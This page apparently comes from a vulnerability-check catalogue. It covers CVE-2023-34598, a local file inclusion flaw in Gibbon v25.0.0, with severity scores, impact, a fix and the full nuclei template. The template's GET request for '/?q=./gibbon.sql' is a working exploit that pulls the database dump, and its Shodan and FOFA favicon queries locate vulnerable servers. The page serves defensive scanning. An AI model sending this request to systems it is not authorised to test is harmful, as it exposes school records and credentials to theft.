Gibbon v25.0.0 - Local File Inclusion

criticalseverity

9.8CVSS score

47.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Gibbon v25.0.0 is vulnerable to a Local File Inclusion (LFI) vulnerability where it's possible to include the content of several files present in the installation folder in the server's response.

Impact

The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.

Fix

Upgrade to a patched version of Gibbon or apply the necessary security patches to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?q=./gibbon.sql
Positive when: contains "phpMyAdmin SQL Dump" and "gibbon" AND status 200

Run it with nuclei: nuclei -id CVE-2023-34598 -u <target>

The full check

id: CVE-2023-34598

info:
  name: Gibbon v25.0.0 - Local File Inclusion
  author: DhiyaneshDk
  severity: critical
  description: |
    Gibbon v25.0.0 is vulnerable to a Local File Inclusion (LFI) vulnerability where it's possible to include the content of several files present in the installation folder in the server's response.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
  remediation: |
    Upgrade to a patched version of Gibbon or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://github.com/maddsec/CVE-2023-34598
    - https://twitter.com/shaybt12/status/1673612503547355137?s=20
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34598
    - https://github.com/izj007/wechat
    - https://github.com/komodoooo/Some-things
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34598
    cwe-id: CWE-22
    epss-score: 0.47238
    epss-percentile: 0.98847
    cpe: cpe:2.3:a:gibbonedu:gibbon:25.0.00:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gibbonedu
    product: gibbon
    shodan-query:
      - http.favicon.hash:-165631681
      - http.favicon.hash:"-165631681"
    fofa-query: icon_hash="-165631681"
  tags: cve2023,cve,gibbon,lfi,gibbonedu,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?q=./gibbon.sql"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "phpMyAdmin SQL Dump"
          - "gibbon"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from